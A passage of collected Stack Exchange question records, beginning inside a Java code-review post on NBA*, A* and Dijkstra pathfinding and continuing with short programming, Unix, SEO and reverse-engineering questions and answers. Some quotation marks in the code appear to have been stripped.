this.targetNode = targetNode;        OPENA.add(new HeapEntry(sourceNode, fA));        OPENB.add(new HeapEntry(targetNode, fB));        PARENTSA.put(sourceNode, null);        PARENTSB.put(targetNode, null);        DISTANCEA.put(sourceNode, 0.0);        DISTANCEB.put(targetNode, 0.0);    }}AStarPathfinder.javapackage net.coderodde.graph.pathfinding.support;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Objects;import java.util.PriorityQueue;import java.util.Set;import net.coderodde.graph.DirectedGraph;import net.coderodde.graph.DirectedGraphWeightFunction;import net.coderodde.graph.pathfinding.AbstractPathfinder;import net.coderodde.graph.pathfinding.DirectedGraphPath;import net.coderodde.graph.pathfinding.HeuristicFunction;import net.coderodde.graph.pathfinding.TargetUnreachableException;public final class AStarPathfinder extends AbstractPathfinder {    private final HeuristicFunction heuristicFunction;    private final PriorityQueue<HeapEntry> OPEN = new PriorityQueue<>();    private final Set<Integer> CLOSED = new HashSet<>();    private final Map<Integer, Double> DISTANCE = new HashMap<>();    private final Map<Integer, Integer> PARENTS = new HashMap<>();    public AStarPathfinder(DirectedGraph graph,                           DirectedGraphWeightFunction weightFunction,                           HeuristicFunction heuristicFunction) {        super(graph, weightFunction);        this.heuristicFunction =                 Objects.requireNonNull(heuristicFunction,                                       The input heuristic function is null.);    }    @Override    public DirectedGraphPath search(int sourceNodeId, int targetNodeId) {        init(sourceNodeId);        while (!OPEN.isEmpty()) {            Integer currentNodeId = OPEN.remove().getNode();            if (currentNodeId.equals(targetNodeId)) {                return tracebackPath(currentNodeId, PARENTS);            }            if (CLOSED.contains(currentNodeId)) {                continue;            }            CLOSED.add(currentNodeId);            for (Integer childNodeId : graph.getChildrenOf(currentNodeId)) {                if (CLOSED.contains(childNodeId)) {                    continue;                }                double tentativeDistance =                         DISTANCE.get(currentNodeId) +                        weightFunction.get(currentNodeId, childNodeId);                if (!DISTANCE.containsKey(childNodeId)                        || DISTANCE.get(childNodeId) > tentativeDistance) {                    DISTANCE.put(childNodeId, tentativeDistance);                    PARENTS.put(childNodeId, currentNodeId);                    OPEN.add(                        new HeapEntry(                            childNodeId,                             tentativeDistance +                            heuristicFunction                                    .estimateDistanceBetween(childNodeId,                                                              targetNodeId)));                }            }        }        throw new TargetUnreachableException(graph, sourceNodeId, targetNodeId);    }    private void init(int sourceNodeId) {        OPEN.clear();        CLOSED.clear();        PARENTS.clear();        DISTANCE.clear();        OPEN.add(new HeapEntry(sourceNodeId, 0.0));        PARENTS.put(sourceNodeId, null);        DISTANCE.put(sourceNodeId, 0.0);    }}DijkstraPathfinder.javapackage net.coderodde.graph.pathfinding.support;import net.coderodde.graph.DirectedGraph;import net.coderodde.graph.DirectedGraphWeightFunction;import net.coderodde.graph.pathfinding.AbstractPathfinder;import net.coderodde.graph.pathfinding.DirectedGraphPath;public final class DijkstraPathfinder extends AbstractPathfinder {    private final AStarPathfinder finderImplementation;    public DijkstraPathfinder(DirectedGraph graph,                              DirectedGraphWeightFunction weightFunction) {        this.finderImplementation =                 new AStarPathfinder(graph,                                     weightFunction,                                    (a, b) -> { return 0.0; });    }    @Override    public DirectedGraphPath search(int sourceNodeId, int targetNodeId) {        return finderImplementation.search(sourceNodeId, targetNodeId);    }}HeapEntry.javapackage net.coderodde.graph.pathfinding.support;/** * This class implements an entry for {@link java.util.PriorityQueue}. * * @author Rodion rodde Efremov * @version 1.6 (Oct 13, 2016) */final class HeapEntry implements Comparable<HeapEntry> {    private final int nodeId;    private final double distance; // The priority key.    public HeapEntry(int nodeId, double distance) {        this.nodeId = nodeId;        this.distance = distance;    }    public int getNode() {        return nodeId;    }    public double getDistance() {        return distance;    }    @Override    public int compareTo(HeapEntry o) {        return Double.compare(distance, o.distance);    }}EuclideanHeuristicFunction.javapackage net.coderodde.graph.pathfinding.support;import java.util.Objects;import net.coderodde.graph.pathfinding.DirectedGraphNodeCoordinates;import net.coderodde.graph.pathfinding.HeuristicFunction;/** * This class implements a heuristic function that returns the Euclidean * distance between two given nodes. *  * @author Rodion rodde Efremov * @version 1.6 (Oct 6, 2016) */public class EuclideanHeuristicFunction implements HeuristicFunction {    private final DirectedGraphNodeCoordinates coordinates;    public EuclideanHeuristicFunction(DirectedGraphNodeCoordinates coordinates) {        this.coordinates =                Objects.requireNonNull(coordinates,                                       The input coordinate map is null.);    }    /**     * {@inheritDoc }     */    @Override    public double estimateDistanceBetween(int nodeId1, int nodeId2) {        return coordinates.get(nodeId1).distance(coordinates.get(nodeId2));    }}HeuristicFunction.javapackage net.coderodde.graph.pathfinding;/** * This interface defines the API for heuristic functions used in pathfinding. *  * @author Rodion rodde Efremov * @version 1.6 (Oct 6, 2016) */@FunctionalInterfacepublic interface HeuristicFunction {    /**     * Provides an optimistic (underestimated) distance between {@code nodeId1}     * and {@code nodeId2} using a specific distance metric.     *      * @param nodeId1 the first node.     * @param nodeId2 the second node.     * @return a shortest path estimate between the two input nodes.     */    public double estimateDistanceBetween(int nodeId1, int nodeId2);}TargetUnreachableException.javapackage net.coderodde.graph.pathfinding;import net.coderodde.graph.DirectedGraph;public class TargetUnreachableException extends RuntimeException {    private final DirectedGraph graph;    private final Integer sourceNode;    private final Integer targetNode;    public TargetUnreachableException(DirectedGraph graph,                                      Integer sourceNode,                                      Integer targetNode) {        this.graph = graph;        this.sourceNode = sourceNode;        this.targetNode = targetNode;    }    public DirectedGraph getGraph() {        return graph;    }    public int getSourceNode() {        return sourceNode;    }    public int getTargetNode() {        return targetNode;    }    @Override    public String toString() {        return ' + targetNode + ' is not reachable from '                    + sourceNode + '.;    }}DirectedGraphPath.javapackage net.coderodde.graph.pathfinding;import java.util.ArrayList;import java.util.List;import net.coderodde.graph.DirectedGraphWeightFunction;/** * This class implements a type for representing paths in directed graphs. *  * @author Rodion rodde Efremov * @version 1.6 (Oct 16, 2016) */public final class DirectedGraphPath {    /**     * The actual list of nodes on a path.     */    private final List<Integer> path;    public DirectedGraphPath(List<Integer> path) {        checkNotEmpty(path);        this.path = new ArrayList<>(path);    }    public int getNode(int index) {        return path.get(index);    }    public int getNumberOfNodes() {        return path.size();    }    public int getNumberOfEdges() {        return path.size() - 1;    }    public double getCost(DirectedGraphWeightFunction weightFunction) {        double cost = 0.0;        for (int i = 0; i < path.size() - 1; ++i) {            cost += weightFunction.get(path.get(i), path.get(i + 1));        }        return cost;    }    @Override    public boolean equals(Object o) {        if (this == o) {            return true;        }        if (o == null || !o.getClass().equals(getClass())) {            return false;        }        return path.equals(((DirectedGraphPath) o).path);    }    @Override    public String toString() {        StringBuilder sb = new StringBuilder([);        String separator = ;        for (Integer node : path) {            sb.append(separator).append(node);            separator = , ;        }        return sb.append(']').toString();    }    private void checkNotEmpty(List<Integer> path) {        if (path.isEmpty()) {            throw new IllegalArgumentException(                    The input path is not allowed to be empty.);        }    }}DirectedGraphNodeCoordinates.javapackage net.coderodde.graph.pathfinding;import java.awt.geom.Point2D;import java.util.HashMap;import java.util.Map;/** * This class allows mapping each graph node to its coordinates on a  * two-dimensional plane. *  * @author Rodion rodde Efremov * @version 1.6 (Oct 6, 2016) */public class DirectedGraphNodeCoordinates {    /**     * Maps each node to its coordinates.     */    private final Map<Integer, Point2D.Double> map = new HashMap<>();    /**     * Associates the coordinates {@code point} to the node {@code nodeId}.     *      * @param nodeId the node to map.     * @param point  the coordinates to associate to the node.     */    public void put(int nodeId, Point2D.Double point) {        map.put(nodeId, point);    }    /**     * Return the point of the input node.     *      * @param nodeId the node whose coordinates to return.     * @return the coordinates.     */    public Point2D.Double get(int nodeId) {        return map.get(nodeId);    }}AbstractPathfinder.javapackage net.coderodde.graph.pathfinding;import java.util.ArrayList;import java.util.Collections;import java.util.List;import java.util.Map;import java.util.Objects;import net.coderodde.graph.DirectedGraph;import net.coderodde.graph.DirectedGraphWeightFunction;/** * This abstract class defines some facilities shared by pathfinding algorithms * and API for using them. *  * @author Rodion rodde Efremov * @version 1.6 (Oct 6, 2016) */public abstract class AbstractPathfinder {    /**     * The graph to search in.     */    protected final DirectedGraph graph;    /**     * The weight function to use.     */    protected final DirectedGraphWeightFunction weightFunction;    protected AbstractPathfinder(DirectedGraph graph,                                 DirectedGraphWeightFunction weightFunction) {        this.graph = Objects.requireNonNull(graph, The input graph is null.);        this.weightFunction =                Objects.requireNonNull(weightFunction,                                       The input weight function is null.);    }    protected AbstractPathfinder() {        this.graph = null;        this.weightFunction = null; // Compiler requires this initialization.    }    /**     * Searches and returns a shortest path starting from the node      * {@code sourceNodeId} and leading to {@code targetNodeId}.     *      * @param sourceNodeId the source node.     * @param targetNodeId the target node.     * @return a shortest path of nodes from source node to target node     *         including the terminal nodes.     */    public abstract DirectedGraphPath search(int sourceNodeId,                                             int targetNodeId);    /**     * Reconstructs a shortest path from the data structures maintained by a      * <b>bidirectional</b> pathfinding algorithm.     *      * @param touchNodeId the node where the two search frontiers agree.     * @param PARENTSA the parent map in the forward search direction.     * @param PARENTSB the parent map in the backward search direction.     * @return the shortest path object.     */    protected DirectedGraphPath tracebackPath(int touchNodeId,                                               Map<Integer, Integer> PARENTSA,                                              Map<Integer, Integer> PARENTSB) {        List<Integer> path = new ArrayList<>();        Integer currentNodeId = touchNodeId;        while (currentNodeId != null) {            path.add(currentNodeId);            currentNodeId = PARENTSA.get(currentNodeId);        }        Collections.<Integer>reverse(path);        if (PARENTSB != null) {            currentNodeId = PARENTSB.get(touchNodeId);            while (currentNodeId != null) {                path.add(currentNodeId);                currentNodeId = PARENTSB.get(currentNodeId);            }        }        return new DirectedGraphPath(path);    }    /**     * Reconstructs a shortest path from the data structures maintained by a     * unidirectional pathfinding algorithm.     *      * @param targetNodeId the target node.     * @param PARENTS      the parents map.     * @return the shortest path object     */    protected DirectedGraphPath tracebackPath(int targetNodeId,                                               Map<Integer, Integer> PARENTS) {        return tracebackPath(targetNodeId, PARENTS, null);    }}DirectedGraph.javapackage net.coderodde.graph;import java.util.Collections;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;/** * This class implements a directed graph data structure via adjacency lists.  * This implementation represents each graph node as an unique integer. *  * @author Rodion rodde Efremov * @version 1.61 (Oct 13, 2016) */public class DirectedGraph {    /**     * This map maps each directed graph node to the list of its child nodes.     */    private final Map<Integer, Set<Integer>> childMap  = new HashMap<>();    /**     * This map maps each directed graph node to the list of its parent nodes.     */    private final Map<Integer, Set<Integer>> parentMap = new HashMap<>();    /**     * Adds a new node represented by integer {@code nodeId} to this graph if     * it is not yet present in it.     *      * @param nodeId the node to add.     */    public void addNode(int nodeId) {        childMap .putIfAbsent(nodeId, new HashSet<>());        parentMap.putIfAbsent(nodeId, new HashSet<>());    }    /**     * Creates a directed arc <tt>(tailNodeId, headNodeId)</tt> if it is not yet     * present in the graph.     *      * @param tailNodeId the tail node of the arc.     * @param headNodeId the head node of the arc.     */    public void addArc(int tailNodeId, int headNodeId) {        childMap .get(tailNodeId).add(headNodeId);        parentMap.get(headNodeId).add(tailNodeId);    }    /**     * Returns the view of all the nodes in this graph.     *      * @return the set of all nodes.     */    public Set<Integer> getNodeSet() {        return Collections.unmodifiableSet(childMap.keySet());    }    /**     * Returns the set of all child nodes of the given node {@code nodeId}.     *      * @param nodeId the node whose children to return.     * @return the set of child nodes of {@code nodeId}.     */    public Set<Integer> getChildrenOf(int nodeId) {        return Collections.<Integer>unmodifiableSet(childMap.get(nodeId));    }    /**     * Returns the set of all parent nodes of the given node {@code nodeId}.     *      * @param nodeId the node whose parents to return.     * @return the set of parent nodes of {@code nodeId}.     */    public Set<Integer> getParentsOf(int nodeId) {        return Collections.<Integer>unmodifiableSet(parentMap.get(nodeId));    }}DirectedGraphWeightFunction.javapackage net.coderodde.graph;import java.util.HashMap;import java.util.Map;/** * This class maps directed arcs to their weights. An arc weight is not allowed * to be a <tt>NaN</tt> value or negative. *  * @author Rodion rodde Efremov * @vesion 1.6 (Oct 6, 2016) */public class DirectedGraphWeightFunction {    /**     * Maps the arcs to the arc weights.     */    private final Map<Integer, Map<Integer, Double>> map = new HashMap<>();    /**     * Associates the weight {@code weight} with the arc      * <tt>(tailNodeId, headNodeId)</tt>.     *      * @param tailNodeId the starting node of the arc.     * @param headNodeId the ending node of the arc.     * @param weight the arc weight.     */    public void put(int tailNodeId, int headNodeId, double weight) {        checkWeight(weight);        map.putIfAbsent(tailNodeId, new HashMap<>());        map.get(tailNodeId).put(headNodeId, weight);    }    /**     * Returns the weight of the given arc.     *      * @param tailNodeId the starting node (tail node) of the arc.     * @param headNodeId the ending node (head node) of the arc.     * @return      */    public double get(int tailNodeId, int headNodeId) {        return map.get(tailNodeId).get(headNodeId);    }    private void checkWeight(double weight) {        if (Double.isNaN(weight)) {            throw new IllegalArgumentException(The input weight is NaN.);        }        if (weight < 0.0) {            throw new IllegalArgumentException(                    The input weight is negative:  + weight + .);        }    }}Demo.javaimport java.awt.geom.Point2D;import java.util.ArrayList;import java.util.List;import java.util.Random;import net.coderodde.graph.DirectedGraph;import net.coderodde.graph.DirectedGraphWeightFunction;import net.coderodde.graph.pathfinding.AbstractPathfinder;import net.coderodde.graph.pathfinding.DirectedGraphNodeCoordinates;import net.coderodde.graph.pathfinding.DirectedGraphPath;import net.coderodde.graph.pathfinding.HeuristicFunction;import net.coderodde.graph.pathfinding.support.AStarPathfinder;import net.coderodde.graph.pathfinding.support.DijkstraPathfinder;import net.coderodde.graph.pathfinding.support.EuclideanHeuristicFunction;import net.coderodde.graph.pathfinding.support.NBAStarPathfinder;/** * This class contains a demonstration program comparing performance of three * point-to-point shortest path algorithms: * <ol> *  <li>A*,</li> *  <li>Dijkstra's algorithm</li> *  <li>NBA*, New Bidirectional A*.</li> * </ol> *  * @author Rodion rodde Efremov * @version 1.61 (Oct 16, 2016) */public class Demo {    private static final int NODES = 100_000;    private static final int ARCS =  500_000;    private static final double PLANE_WIDTH = 1000.0;    private static final double PLANE_HEIGHT = 1000.0;    public static void main(String[] args) {        long seed = System.nanoTime();        Random random = new Random(seed);        System.out.println(Seed =  + seed);        long start = System.currentTimeMillis();        DirectedGraph graph = getRandomGraph(NODES, ARCS, random);        DirectedGraphNodeCoordinates coordinates = getCoordinates(graph,                                                                  PLANE_WIDTH,                                                                  PLANE_HEIGHT,                                                                  random);        DirectedGraphWeightFunction weightFunction =                 getWeightFunction(graph, coordinates);        Integer sourceNodeId = getSource(graph, coordinates);        Integer targetNodeId = getTarget(graph, coordinates);        long end = System.currentTimeMillis();        System.out.println(Created the graph data structures in  +                           (end - start) +  milliseconds.);        System.out.println(Source:  + sourceNodeId);        System.out.println(Target:  + targetNodeId);        System.out.println();        HeuristicFunction hf = new EuclideanHeuristicFunction(coordinates);        AbstractPathfinder finder1 = new AStarPathfinder(graph,                                                         weightFunction,                                                         hf);        AbstractPathfinder finder2 = new DijkstraPathfinder(graph,                                                            weightFunction);        AbstractPathfinder finder3 = new NBAStarPathfinder(graph,                                                            weightFunction,                                                           hf);        DirectedGraphPath path1 = benchmark(finder1,                                            sourceNodeId,                                             targetNodeId);        DirectedGraphPath path2 = benchmark(finder2,                                             sourceNodeId,                                            targetNodeId);        DirectedGraphPath path3 = benchmark(finder3,                                             sourceNodeId,                                             targetNodeId);        boolean agreed = path1.equals(path2) && path1.equals(path3);        if (agreed) {            System.out.println(Algorithms agree: true);        } else {            System.out.println(Algorithms DISAGREED!);            System.out.println(A* path length:                            + path1.getCost(weightFunction));            System.out.println(Dijkstra path length:                      + path2.getCost(weightFunction));            System.out.println(NBA* path length:                          + path3.getCost(weightFunction));        }    }    private static DirectedGraphPath benchmark(AbstractPathfinder pathfinder,                                               int sourceNode,                                                int targetNode) {        long start = System.currentTimeMillis();        DirectedGraphPath path = pathfinder.search(sourceNode, targetNode);        long end = System.currentTimeMillis();        System.out.println(pathfinder.getClass().getSimpleName() +                             in  + (end - start) +  milliseconds.);        System.out.println(path);        System.out.println();        return path;    }    private static DirectedGraph getRandomGraph(int nodes,                                                 int arcs,                                                 Random random) {        DirectedGraph graph = new DirectedGraph();        for (int id = 0; id < nodes; ++id) {            graph.addNode(id);        }        List<Integer> graphNodeList = new ArrayList<>(graph.getNodeSet());        while (arcs-- > 0) {            Integer tailNodeId = choose(graphNodeList, random);            Integer headNodeId = choose(graphNodeList, random);            graph.addArc(tailNodeId, headNodeId);        }        return graph;    }    private static DirectedGraphNodeCoordinates         getCoordinates(DirectedGraph graph,                        double planeWidth,                       double planeHeight,                       Random random) {        DirectedGraphNodeCoordinates coordinates =                new DirectedGraphNodeCoordinates();        for (Integer nodeId : graph.getNodeSet()) {            coordinates.put(nodeId,                             randomPoint(planeWidth, planeHeight, random));        }        return coordinates;    }    private static DirectedGraphWeightFunction         getWeightFunction(DirectedGraph graph,                          DirectedGraphNodeCoordinates coordinates) {        DirectedGraphWeightFunction weightFunction =                 new DirectedGraphWeightFunction();        for (Integer nodeId : graph.getNodeSet()) {            Point2D.Double p1 = coordinates.get(nodeId);            for (Integer childNodeId : graph.getChildrenOf(nodeId)) {                Point2D.Double p2 = coordinates.get(childNodeId);                double distance = p1.distance(p2);                weightFunction.put(nodeId, childNodeId, 1.2 * distance);            }        }        return weightFunction;    }    private static Point2D.Double randomPoint(double width,                                              double height,                                              Random random) {        return new Point2D.Double(width * random.nextDouble(),                                  height * random.nextDouble());    }    private static <T> T choose(List<T> list, Random random) {        return list.get(random.nextInt(list.size()));    }    private static Integer         getClosestTo(DirectedGraph graph,                      DirectedGraphNodeCoordinates coordinates,                      Point2D.Double point) {        double bestDistance = Double.POSITIVE_INFINITY;        Integer bestNode = null;        for (Integer node : graph.getNodeSet()) {            Point2D.Double nodePoint = coordinates.get(node);            if (bestDistance > nodePoint.distance(point)) {                bestDistance = nodePoint.distance(point);                bestNode = node;            }        }        return bestNode;    }    private static Integer getSource(DirectedGraph graph,                                     DirectedGraphNodeCoordinates coordinates) {        return getClosestTo(graph, coordinates, new Point2D.Double());    }    private static Integer getTarget(DirectedGraph graph,                                     DirectedGraphNodeCoordinates coordinates) {        return getClosestTo(graph,                             coordinates,                            new Point2D.Double(PLANE_WIDTH, PLANE_HEIGHT));    }}Performance figuresA typical run of the demonstration might output something like this:Seed = 380420829228515Created the graph data structures in 6350 milliseconds.Source: 58350Target: 45998AStarPathfinder in 996 milliseconds.[58350, 69183, 24066, 12240, 79684, 33326, 53655, 74615, 97690, 28336, 45998]DijkstraPathfinder in 5025 milliseconds.[58350, 69183, 24066, 12240, 79684, 33326, 53655, 74615, 97690, 28336, 45998]NBAStarPathfinder in 29 milliseconds.[58350, 69183, 24066, 12240, 79684, 33326, 53655, 74615, 97690, 28336, 45998]Algorithms agree: trueCritique requestI would like to hear anything you can tell me, especially:API designModularityNamingCoding conventionsEfficiencyJavadoc"  , "title": "NBA*: Very efficient bidirectional heuristic search algorithm in Java - follow-up"  , "tags": "java;algorithm;graph;pathfinding;a star"  } 
{  "id": "_cs.35873"  , "question": "I'm wondering if there is some formalization, type theoretical analysis, or similar for data structures that automatically splice in an associative way. Barring a perfect citation, I'd be interested to know if there are other keywords I should be looking for in this space.Examples are particularly common in term-rewriting languages, such as Tuples and Matricies in Purelang or Sequence in Mathematica.I'm also interested in one particularly challenging question with these constructs: How should quoting (to prevent splicing) be represented and handled?"  , "title": "Is there a formalization of automatic-splicing data structures?"  , "tags": "data structures;type theory"  } 
{  "id": "_unix.268464"  , "question": "What's the simplest way to express allow all connections to the local lan for iptables output?Including connections to 192.*, 172.*, 10.*, etc.Can all of this compressed within a single rule?"  , "title": "iptables - How to allow all connections to the local lan?"  , "tags": "iptables"  } 
{  "id": "_softwareengineering.224033"  , "question": "Let's say in some reason all objects are created this way $obj = CLASS::getInstance(). Then we inject dependencies using setters and perform starting initialization using $obj->initInstance(); Are there any real troubles or situations, which can't be solved, if we won't use constructors at all?P.s. the reason to create object this way, is that we can replace class inside getInstance() according to some rules.I'm working in PHP, if that matter"  , "title": "Can we live without constructors?"  , "tags": "object oriented design;class design"  } 
{  "id": "_softwareengineering.312702"  , "question": "I'm trying to figure out a way to handle default variable values when making functions without side effects and have ended up with the following: function getDefaultSeparator() {    return ':';}function process(input, separator) {    var separator = separator || getDefaultSeparator();    // Use separator in some logic    return output;}The default separator will be used in other functions and I only want to define it in one place. If this is a pure function, what is the difference from just using a global DEFAULT_SEPARATOR constant instead?"  , "title": "Is a function getting a value from another function considered pure?"  , "tags": "javascript;functional programming;functions"  } 
{  "id": "_cs.54063"  , "question": "i'm studying an algorithms designing and analysis , and i've question about Big-theta how can i prove that nlogn is not (n) without using limits ? "  , "title": "how to prove that nlogn is not (n) without using limits?"  , "tags": "algorithms;complexity theory;algorithm analysis;asymptotics"  } 
{  "id": "_webmaster.106728"  , "question": "We changed the sites UI, CMS, link structure. Also Bought a new and better domain name. After we completed everything. We did below step by step;Created a new web application for old.com/page1.html to new.com/page1.html 301 redirection.Used webmmaster tools for 301 redirection.Sent new sitemaps a long with robots.txtAlthough we've got a custom title,meta descrpition and meta keywords for every page, Google takes a piece of sentece from content and uses it for MetaDescription. This is a big problem for our potential clicks on SERP. What should we do for getting back MetaDescription?The old site is : indirimkodlari.gen.trThe new site : indirimkodu.gen.trGoogle still shows the old url and right meta description with it.The new domain name with randomly scraped on Google search of site.com/urlSolutionLooking at Google's search cache by using view source shows we used the wrong field from database for MetaDescription! Changed it, fixed, and solved!."  , "title": "Google doesn't use meta description on SERP"  , "tags": "seo;google search;serps;meta description"  } 
{  "id": "_codereview.28870"  , "question": "The file is quite long, 1000 LOC so I want to separate it into smaller files.https://github.com/anvoz/world-js/blob/v1.0/js/world.core.jsHere is a brief version of the code:(function(window, undefined) {    var WorldJS = window.WorldJS = function() {        // WorldJS Constructor        this.nextSeedId = 1;        this.Statistic = { population: 0 };        this.Knowledge = {            completed: [],            gain: function(world) { /* ... */ }        };    }    WorldJS.prototype.someMethods = function() {};    var Seed = WorldJS.prototype.Seed = function() {        // Seed Constructor    };    Seed.prototype.someMethods = function() {};})(window);// Create a worldvar world = new WorldJS();// Create a seedvar seed = new world.Seed();Seems like I was right with the Seed class. So I can put Seed in a new file. Like this:(function(window, undefined) {    var WorldJS = window.WorldJS;    var Seed = WorldJS.prototype.Seed = function() {        // Seed Constructor    };    Seed.prototype.someMethods = function() {};})(window);How can I put the Knowledge property to a new file? Is it a good practice if I change Knowledge to a class just like the Seed class and use a new lowercase property to hold data like this:world.knowledge = new world.Knowledge();"  , "title": "Separate a module into smaller parts"  , "tags": "javascript"  , "accepted_answer": "I don't see the advantage of adding Seed and Knowledge into the prototype of World (unless you've got more code to tell me otherwise). If you don't need anything from the instance at all, then you don't need them in the instance. You can put them like static members instead.With that, you can do what jQuery did. jQuery's jQuery and $ point to a constructor function that builds jQuery objects. That's why you can do jQuery() and $(). But in JS, functions are objects and like any other object, you can add properties. It's the same reason why you can also do jQuery.each or $.each. Basically they made their constructor their namespace as well.So you can do the following to World:(function(window){  var World = window.World = function(){/*World constructor code*/};  World.prototype.someFn = function(){/*...*/};}(window));And like how non-instance jQuery plugins extend (and yes, you can place this in another file. Just make sure the World library is loaded first):(function(World){  //This part would be synonymous to $.somePlugin = function(){...}  var Seed = World.Seed = function(){/*Seed constructor code*/};  Seed.prototype.someFn = function(){/*...*/};}(World));To use them:var myWorld = new World();        //Using World as a constructorvar mangoSeed = new World.Seed(); //Using World to access the Seed constructor"  } 
{  "id": "_unix.83897"  , "question": "How can I do a screencast (having a video file out from my screen output) without X server? I mean, purely from the tty, no KDE, no LXDE, no Xorg beneath them. Like if I were in single-user mode."  , "title": "How can I screencast purely from the tty?"  , "tags": "video"  , "accepted_answer": "Recordscreen.pyRecordscreen.py sounds like what you're looking for. You can download and install it like so:$ wget http://www.davidrevoy.com/data/documents/recordscreen_12-04.zip$ unzip recordscreen_12-04.zip$ rm recordscreen_12-04.zip$ chmod +x recordscreen.pyThere are a few dependencies that it requires:$ sudo apt-get install wget libav-tools ffmpeg libavc1394-0 libavformat-extra-53 \\  libavfilter2 libavutil-extra-51 mencoder libavahi-common-dataRun it like this:$ ./recordscreen.pyttyrecYou can use ttyrec to also accomplish this.For example, to record:$ ttyrec...(In the executed shell, do whatever you want and exit)...Or this, to record just a command running:$ ttyrec -e command...(command specified by -e option will be executed) ...You can then use ttyplayback to play back your recording:$ ttyplay ttyrecord There are some sample videos here in this articled titled: ttyrec > script on Linuxaria."  } 
{  "id": "_codereview.158678"  , "question": "I'm writing a C++ high precision library based on GMP, sample code(files which have to be added to project)://biginteger.cc#include biginteger.h#include <cstdlib>#include <iostream>#include <tuple>#include <gmp.h>void biginteger::deleteBiginteger(){std::cout << sprzatam bigintegera; std::cout << std::endl;mpz_clear(x);}void biginteger::printbiginteger(){gmp_printf(%Zd\\n, this->x); //std::cout <<std::endl;   }   // overloaded += operators     biginteger& biginteger::operator += (const unsigned long long int& a){    mpz_add_ui(this->x, x, a);    return *this;    }biginteger& biginteger::operator += (const signed long int& a){    if (a < 0) {    signed long int tmp1 = -a;    unsigned long long int tmp2 = tmp1;    mpz_sub_ui(this->x, x, tmp2);    return *this;}else{    unsigned long long int t1 = (unsigned long long int) a;    mpz_add_ui(this->x, x, t1);    return *this;}}biginteger& biginteger::operator += (const biginteger& a){mpz_add(this->x, this->x, a.x);return *this;}//biginteger.h#ifndef biginteger_h#define biginteger_h#include <cstdlib>#include <iostream>#include <tuple>#include <gmp.h> class biginteger{    public:    mpz_t x;    biginteger(mpz_t n){    mpz_init(x);    mpz_set(x, n);     }    biginteger(unsigned long long int a){    mpz_init(x);    mpz_set_ui(x, a);    }    biginteger(signed long int a){        mpz_init(x);        mpz_set_si(x, a);    }biginteger(int a){    mpz_init(x);    mpz_set_si(x, a);}biginteger(const char *str, int base){    mpz_init_set_str(x, str, base);}   void deleteBiginteger();void printbiginteger();biginteger& operator += (const unsigned long long int& a);biginteger& operator += (const signed long int& a);biginteger& operator += (const biginteger& a);Those two files are just sample code, is there any way to improve performance of this?"  , "title": "Wrapper for GMP in C++"  , "tags": "c++;performance;integer;wrapper"  } 
{  "id": "_reverseengineering.10722"  , "question": "While reversing a C++ program compiled with g++, I've seen a _ZNSs4_Rep20_S_empty_rep_storageE being used. Running it through c++filt shows that before mangling it's a: std::basic_string<char, std::char_traits<char>, std::allocator<char> >::_Rep::_S_empty_rep_storageBut what is this _S_empty_rep_storage used for? I included an assembly snippet below where it's used:mov     rax, cs:_ZNSs4_Rep20_S_empty_rep_storageE_ptr...add     rax, 18h...mov     [rsp+328h+var_308], raxmov     [rsp+328h+var_2F8], raxmov     [rsp+328h+var_2E8], rax...lea     r14, [rsp+328h+var_308]lea     rsi, [rsp+328h+var_2D8] ; std::string *mov     rdi, r14        ; thiscall    __ZNSs4swapERSs ; std::string::swap(std::string &)lea     rdi, [rsp+328h+var_2D8] ; thislea     r13, [rsp+328h+var_2F8]lea     r12, [rsp+328h+var_2E8]call    __ZNSsD1Ev      ; std::string::~string()So my question is: What's the purpose of _S_empty_rep_storage here? Also why are var_308, var_2f8 and var_2e8 lea'd into r12-14? These registers are not used later on."  , "title": "What is _S_empty_rep_storage used for in this code?"  , "tags": "disassembly"  , "accepted_answer": "Check the comments at the beginning of libstdc++'s basic_string.h to see how GCC's std::string works.Basically, _S_empty_rep_storage is a pre-initialized (in fact, zeroed out) representation of an empty string, used to initialize the string in a default constructor. So var_308, var_2F8 and var_2E8 are three std::string objects, initialized to an empty string.As for r12-r14, they seem to be used as temporary variables. We can at leas see that r14 is used to initialize rdi - the this pointer for the std::string::swap() call, so presumably r12 and r13 are also used later."  } 
{  "id": "_unix.4569"  , "question": "I have an operation using cut that I would like to assign result to a variablevar4=echo ztemp.xml |cut -f1 -d '.'I get the error:ztemp.xml is not a commandThe value of var4 never gets assigned; I'm trying to assign it the output of:echo ztemp.xml | cut -f1 -d '.'How can I do that?"  , "title": "Storing output of command in shell variable"  , "tags": "command line;bash;scripting;shell script;coreutils"  , "accepted_answer": "You'll want to modify your assignment to read:var4=$(echo ztemp.xml | cut -f1 -d '.')The $() construct is known as command susbtitution."  } 
{  "id": "_softwareengineering.270697"  , "question": "In Pattern Oriented Software Architecture - Vol 1 (p. 131), the author said that View is responsible for creating Controller. But in Head First Design Patterns (p. 562) it is the Controller that creates the View. In some other references I see that nor View niether Controller create each other. Only Controller has a reference of View and/or vice versa.What's your opinion about this? Does this depend?"  , "title": "Model-View-Controller: who creates whom?"  , "tags": "design patterns;mvc;architectural patterns"  , "accepted_answer": "Well, I can only assume this changes along different platforms.On the android library, you create the view from the controller. i.e., in your Activity you call setContentView... to awake you XML (The view) and create it.On the other hand, in the iOS world, you would ask the View (storyboard or .xib file) to awake (Actually you ask the system to go to the app's bundle, get the View and create it) itself up, than it will awake your controller (e.g., myView) and awakeFromNib will be called...I might not be precise about the small details, but you can see that different platforms would create this connection in slightly different ways, depends on the architecture."  } 
{  "id": "_unix.126201"  , "question": "When I run apropos or man -k in bash, it always returns the same item (at least one) twice:QuestionWhy is it doing this; and would it indicate that there's a possible configuration issue with my system?I'm using OSX."  , "title": "Apropos always returns several duplicate matches from whatis"  , "tags": "osx;man"  , "accepted_answer": "From this link titled: Subject: Re: omitting duplicates in apropos andapropos-list - msg#00017, I found the information below.Because a symbol might be available by way of more than one  inheritance path,  apropos might print information about the same  symbol more than once, or  apropos-list might return a list containing  duplicate symbols.I also found from this link titled: duplicate entires for apropos after 5.0.7 MP5 (Linux & Unix Question), which contained the below piece of information. I straightened out this problem by running makewhatis"  } 
